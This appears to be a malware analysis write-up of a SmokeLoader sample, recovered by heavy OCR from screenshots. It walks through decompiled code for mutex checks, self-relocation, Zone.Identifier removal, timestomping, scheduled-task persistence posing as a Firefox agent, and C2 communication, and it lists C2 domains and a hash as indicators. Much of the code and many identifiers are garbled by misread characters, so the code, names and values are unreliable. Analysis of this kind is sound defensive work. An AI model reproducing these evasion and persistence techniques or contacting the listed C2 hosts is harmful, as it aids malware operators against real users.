lVarl = mw StringDecryptionMain(param 1,0xl15);
(* {code *:pararLl—>wsprhnttA:
formattedData_Contaiing ComputerNamesVouleInfromation,lVarl, pComputerName, Oxe627afea
uVar2 & OxEEEELE£££00000000 | (ulonglong)VolumelInformationofSysDirectory[0]);
mw_CreateMDShashOfformattedData Contailing ComputerNamesVolumeInfromation
(param 1, formattedData Contaiing ComputerNamesVouleInfromation,param 2) ;
(*{code *)param l->waprintfl) (param 2 + 0x20,1Varl + &,VolumeInformationofSyaDirectory[0]);
mw_wrap freeHeap (param 1,1Varl):
mw_wrap freeHeap (param_l, formattedData_Contaiing ComputerNamesVouleInfromation) r
return;

P D M O -] o O e L DO D W 00 ] o DA W B D

One of the most important Place these Value used is to Create a Mutex with this name. The Malware
Creates a Mutex with this name and After that uses RtlGetLastWin32Error , if the return value is
ERROR_ALREADY_EXIST Malware Exits the Thread. This is done by the malware to make sure the
malware is run only once in a System
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undefinedd FUN_O0000Ll£40(astruct *param 1)

undefined *puVarl;
char cVara;
int ivVar3i;

undefineds uVard;
longlong 1Vars:

param_l->£ield3203_0xcSf = 0;

param l->field3204 Oxcald = 0;

param_l->NewFileCreation3tatus = 0;

puVarl = gparam_l->field_0x20c;

mw_wrap CreateMDShashOfformattedData Contaiing ComputerlamssVolumelInfromation(param l,puVarl):
/¥ %aFF */

uvard = mw_StringDecryptionMain{param_l,0xl13);

{(*{code *)param l->ForamtedData0fMDSHashofformattedData Contaiing ComputerNamesVoulelInfromation)

(eparam l->field Oxbe3, uVard,puVarl):

mw_wrap_freeHeap (param_l,uVard);

uVard = (*({code *“)param_ l->CreateMutexd) (0,0,puVarl);

param l->Mutexhandle = uVard;
S¥ Mutex Check %/

iVar3 = (¥({code V)param_ l->RtlGetLastWin32Error) {):

1f [iVari == ERROR_ALREADY EXISTS) |

(*{code *)param_l->CloseHandle) (param_l->Mutexhandle);
{*{code *)param l->ExitThread) {0);

}

mw_GetTickCountandStorelthfter¥oring (param_1) >

uVard = mw_wrap_allocate heap(param_1l,0x1000);
Y param2 contains useragentString */

mw_getInternetExplorerUaerAgentString (param 1, uVard);

mW_wrap_ MultiBytetoWideChar (param_l,uVard, sparam_l->field_O0x577);

mw_wrap_ freeHeap (param 1,uVard);
cVarZ = mw_CopytonewPAthePersistance (param 1, eparam 1->field_Ox24b):

if {cVarz != "\0") |

Copy to New Path and use of Zone.ldentifier

The Malware Creates a File Path at AppData or Temp . Check if the File running is in this Path. If it is

not Running on this path it Delete itself and Copy the File from Curent Location to the File Path
Created at AppData or Temp
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! == (VAr3) |
! = gparam_l->filePathlCompined;

= PaCELNIgL 7

[ iVar3 = (¥param l=->latrCmpW) (CurrentFilelocation, (LPCWSTR) lpString2)
[ if {iVar3 == 0) |

| mw_wrap_persistence_usingScheduledTask (param 1);

' }
i elae |

| (* {code *)param_l->DeleteFileW) (lpStringl):

i uVars = (¥({code V)param l->field3322 0xd77) (CurrentFilelLocation, lpString2,0);
i if ({inc)uVars == 0) goto LAB_00002244;

| {* {code *)param_l->DeleteFileW) (CurrentFilelocation);

fY Raka v/

[ uVard4 = mw_StringDecryptionMain (param 1,0x17):

| /% :Zone.ldentifier L

- = mw_StringDecryptionMain(param_l,0xle);

| uVar7 = mw_wrap allocate_heap(param 1,0x400) 7

i F* FilePath:Zone.Identifier */

| (* {code *)param_l->waprintiW) (uVar7,uVard,lpString2,uvVare);

i (*(code ¥)param l->DeleteFileW) (uVarT):

i mw_wrap_freeHeap (param_l,uVar7):

mw_wrap_£freeHlHeap (param_l,uVard);

j mw_wrap freeHeap(param l,uVarc);

[ SY advapii2.dll 7

| puVar® = ({undefinedl *)mw_StringDecryptionMain({param_1,3};

puvarll = puVars;

| mw_setFileTimehttributesofFileinParam2likeaSystemFileinParam3 (param 1, lpString2);
i mw_wrap_ freeHeap(param_l)};

i }

i me_Wrap presistanceusingSChedukedTasks{{longlong)param 1,puVars,puVarlo):

i EVarg = 1;

rS = (*{code *)param l->CreateFileW)

NG, Ox80,0) 2

i
[

One Important thing to note here is the Malware Also removes the Alternate Data Stream
:Zone.ldentifier . It Stores the Data whether the file was downloaded from the Internet. By Doing this
System won’t Understand the File was downloaded from Internet

Changing File Attributes and FileTime

After Moving the File to Appdata or Temp . The Files Attribute is Changed to 6 (
FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN). This makes the File Hidden and
operating system uses a part of, or uses this File exclusively.
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mwoid mw_setFileTimeAttributesofFileinParam2likeaSystemFileinParam3
{astruct *param l,undefined?® param 2,undefined8 advapi3Z.dll)

undefineds Syat

undefined® uVarl;
_WIN3Z_FILE_ATTRIBUTE_DATAR local_38

P R I U T I R P % I o

10| System3Z_advapii2 = mw_wrap_allocate_heap(param_l1,0x208);

11| (**({code **)gparam l->»GetSystemDirectoryh) (Syvstem32 advapi3z,0xlod);

12 (¥*¥{code *¥)gparam l->PathCompined) (System32 adwvapl32,System32_advapiiz,advapii32.dll);

L3 (**{code **)gparam l-»SetFilehAttributesW) (param_2,€);

14 iWarl = (¥ ({code *jparam l->CreateFileW) (param_2, Oxc0000000,3,0,3,0x2

15| (*%{code *%)gparam l->GetFileAttributesExh) (Sys 2 advapil2,C 9y :
16 (**({code **)gparam 1->»>SecFileTime)

17 {(uVarl,&local 38.ftCreationTime, &local 3%.ftlasthccessTime,slocal 28.ftlastWriteTime);
18 {(*{code *)param l->CloseHandle) (uVarl);

19 mw_wrap freeHeap(param 1,5ystem32_advapi3z);

20l return;

21}

22

Then Malware Chnages the Malicious Files Creation Time , Last Access Time and Last Write Time to
the Creation Time , Last Access Time and Last Write Time of advapi32.dll in System Dir. My
Assumption for this Technique is that it is trying to not show it's a New File

Persistance

The Persistance is Achieved by Creating a Scheduled task using ITaskService interface
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ITaskDefini

local_ &8
local 38
ustack bs
local 78
local 98
local 48
ustack 44

uStack_40

ustack_co
ustack_bc
local_ 88

ustack 54

ustack_ad

ivarl = |

if (iVarl

auStack

if (iva

irf

{

{
I

ustack 3c =

tion = param_3;

iVarl = (%% ({code *%)gparam l->CoCreateInstance) (¢DAT 00001010,0,1,0%x1000,eITaskService):
if {iVarl == 0) {

= (uint)local_e8._23_2 << 0xl0;
= local 58;

= local 58;
= local 58;
= local 58;
= local €8;

= uﬁ:a:k TH
= uStack_&0;

ustack_scy

8 = local_g&;

= uStack_&4;
= ustack_e0;
= ustack_3scp

= local &8;

= uitack_ €4:

0 = ustack_o0;

uStack_5Sc;
= local €8:

= uStack_d4;

ic = uStack Scp

/% Connect %/
ik (eode **?{TTaRkFPrviﬂp—bQueryInterface + 0x50))

(ITaskService, eiStack al,slocal 88,&i5tack_c8,elocal_48);

== 1) {
/% GetFolder v/

ck_d28[0] = DxS5cp
iVarl = (¥¥({code **) (ITaskService-»>QueryInterface + 0x38))

{ITaskService,auStack_d&, &ITaskFloder);
rl == Q) [
/% DeleteTask */

{** {code **) (*ITaskFloder + 0x78)) (ITaskFloder, FireFoxefaultUserhgentString,0) -

/¥ NewTasks /

if (param & == '\0"} |
iVarl = (*¥{code **) {ITaskService->QueryInterface + 0x48))

{ITaskService,0,&lTaskDefinition) ;
{iVarl == 0) {
/% GetRegiStrantinfo 4/
&% (code *%) (*ITaskDefinition + 0x38)) (ITaskDefiniti
I puthunhcr L¥J

{¥% (code ¥¥) (¥IRegistrationInfo + 0x50)) (IRegistrationlnfo,userName);

&% [code %) (*IRegistrationInfo + 0x10))();
TaskSettings = (longlong *)0x0;
/¥ getSecttings */

{*" ({code **) (¥ITaskDefinition 4+ 0x58)) (ITaskDefinition, &ITaskSettings);

J¥ putStartwhenfvaliable */

on, &aIRegistrationInfo);

First it Deletes the Task with Name FireFox Default Browser Agent{MD5 Value Used to Create Mutex}

. Then It Sets Author of the task as Current User. Then Trigger of the task is set when the Current
User Logins in. The File path of Task is Set to the Malicious File Copied to AppData or Temp And It
Finally Registers the task with name FireFox Default Browser Agent{MD$ Value Used to Create

Mutex}
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(*%{code %) [(*ITrigger2 + 0x10))({):
mw_wrap_freeHeap(param_l,uVari);
mw_wrap_ freeleap(param_l,uVari);

}
(**{code **) (*ITrigger + 0xl0}) ();
/% Create */
iVarl = (%% |code *¥) (¥ITriggerCollection + 0x50)) (ITriggerCollection, 9, &ITrigger);
if (iVarl == 0} |
S ILogonTrigger */
IRepetestionPattern = (longlong *)0x0;
iVarl = (**{code **}*ITrigger) (ITrigger; &«DAT_00001020; aIRepetestionPattern);
SV ILogonTrigger:PutUasername */
if (iVarl == 0) {
(** {code *¥) (*IRepetestionPattern + Oxb8)) (IRepetestionPattern,userName) ;
{**{code *¥) (*IRepetestionPattern + 0x10)) () s

}
(*¥({code *¥*) (*ITrigger + 0x10)) ()7
/¥ getAction ¥/
(**% {code **) (*ITaskDefinition + 0x88)) (ITaskDefinition,&lAction Collection):
/% Create */
(**{code *¥) (*ITRetion Collection + Ox60)) (IAction Collection,O,&lhctionCollection);?
(*% (code *¥) (¥Ihction Collection + 0x1l0)) ():
iVarl = (**(code **)*IActionCollection) (IActionCollection, &DAT_00001040,&IExehction) ;
f% putPath */
if (ivarl = 0) {
{*¥* {code **) (¥*IExeAction 4+ 0x58)) (IExelAction,filePAthl);
(*¥ {code *¥%) (*IExehction + 0x10)) ():
local_ %98 = local_S5&;
local 78 = local 58;
uStack_b& = local 58;
iSvack_a8 = local_68;
uStack_ad4 = uStack_c4d

uStack_al = uStack €0

s me wa

udtack_ 5Sc = uStack 5Sc

local_828 = local_68;

uStack_24 = uStack_&4;

udtack 80 = uStack e0;

uStack_T7c = uStack_5Sc;

iStack_cf = local 687

uStack c4 = uStack €4;

usStack_c0 = uStack_e0;

udtack_bec = uStack_Sc;

J¥ v RegisterTaskDefinition %/ %/

(¥*{code *%) (¥ITaskFloder + 0OXZ8))
{ITaskFloder, FireFoxefaultUserAgentString, ITaskDefinition, 6, &i5tack_cg,;
&local 88,3,siStack af,sIRepetestionPattern);

C2 Decryption and Communication

The C2 URL’s are Encrypted using the Same Custom rc4 encryption Algorithm used in Stage3. The
Data is also Stored in the Same format DataSize:Data. You can use the Same Decryprtion Function
mentioned above to decrypt the Strings
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void mw_decrypt_c2URL{astruct *param_l,char param 2)

longlong lVarl;:

if {(param_l->field3204_Oxcad == Oxd) es& (param_l-»field3204_Oxcad = 0, param_2 != "\0"')) {
lVarl = 1000;
do |

{*{code *)param_l->5leep) (600);
1Varl = 1Varl + =1;
* http:s/newzelanndée.orgs
htep://golilopaster.org/ */
} while ({1Varl != 0);
1
mw_Wrap_customrcd (param 1, * (undefinedd *)
{sc2UrlEncrypted + (ulonglong) (uint)param_l->field3204_Oxcal * S));

return;

(=B R - R T T ]

Here is the List of C2 URL’s i found in this Malware

5
SmokeLoaderCFGDecbfucacate.py>» RBunning. ..
http://hutnilior.net/
http://potunulit.org/
http://newzelanndés.org/
http://golilopaster.org/
SmokeloaderCFGDecbhbfucacate.py> Finished!
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The malware then uses the c2 URL with WinHttp Library to Communicate to the C2 server

J.._,._'GJ__._l'_' = u;
if (c2URl == 0} |
1Vard = 0;
}
elae |
local_resld8 = atruct created;
c2ZURLW = mw_wrap allocate _heap(param 1,0x104) 7
local_kO = c2URLH;

mw_wrap_MultiBytetoWideChar (param_l,c2URLl,cZURLW);
FUN_00004&88 (param 1, c2URLW,&local _reslO, slocal de):

if ({local_resld == 0) |
1Var3 = 0;
uVarlld = 03
uWard = 0;
}
elaes |
uWars = 3;
uVarlld = local resli;
1Vard = local dB;
}
local _ds = (¥%{code *¥)gparam l->WinHttpOpen)
(eparam l->field OxS77,uVar5,uvarll,lVar
1Var3d = 1Vars;

if (local_ds != 0} |
(*{code *)param l->RtlZeroMemory) (local_af, 0xéd);
local _aB[0] = OxE8:

i, (ulenglong)uVar2 << 0x20) 7

local 98 = OxEfffffff;
local 58 = OxXELEELELE;
l-:ul_.- = =1z
local_48 = OXLLLLLLff;
iVarl = (*%(code *¥)gparam l->WinHttpCrackUrl) (c2URLW,0,0,local_ag);
if (iVarl != 0} {
puVaré = (undefined ¥) {(ulonglong) (uint) {(local 58 % 2) + local 90);
rpuWVaré = 07
local bE = (%% {code **J&paraIL;-)WinHtkannnectJ[l.:ul_J;,l.:ul_ﬁﬁ,l.:ul_LJ,Dj:

1Vari = 07
if (local B2 != 0} |
local_resll = local resl0 & OXELEEE£E££00000000;7
1Vars = 0;
local_c0 = 07
local_cB = 0p
if (1 == *"80") {
local_c8 = 0;
local_cO = QF
}
elae |
1VarS = 1WVars:
1f {1 == "\x01') {
mw_StringDecryptionMain (param_1,0x1f);

1Vars =

Since It's a Loader Based on C2 Response It Loads the Final Payload

Indicators of Compromise

Type Indicator

SHA256 5c1735b8154391534f98e6399a2576a572c7fd3c51fabecc097434c89053b17

Description

Initial File
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Type Indicator Description
CnC hxxp://potunulit[.Jorg/ Command
and Control
CnC hxxp://hutnilior[.Jnet/ Command
and Control
CnC hxxp://golilopaster[.]org/ Command
and Control
CnC hxxp://newzelannd66].Jorg/ Command
and Control
References
Back | Home

Analysing .NET AsyncRAT using dnSpy
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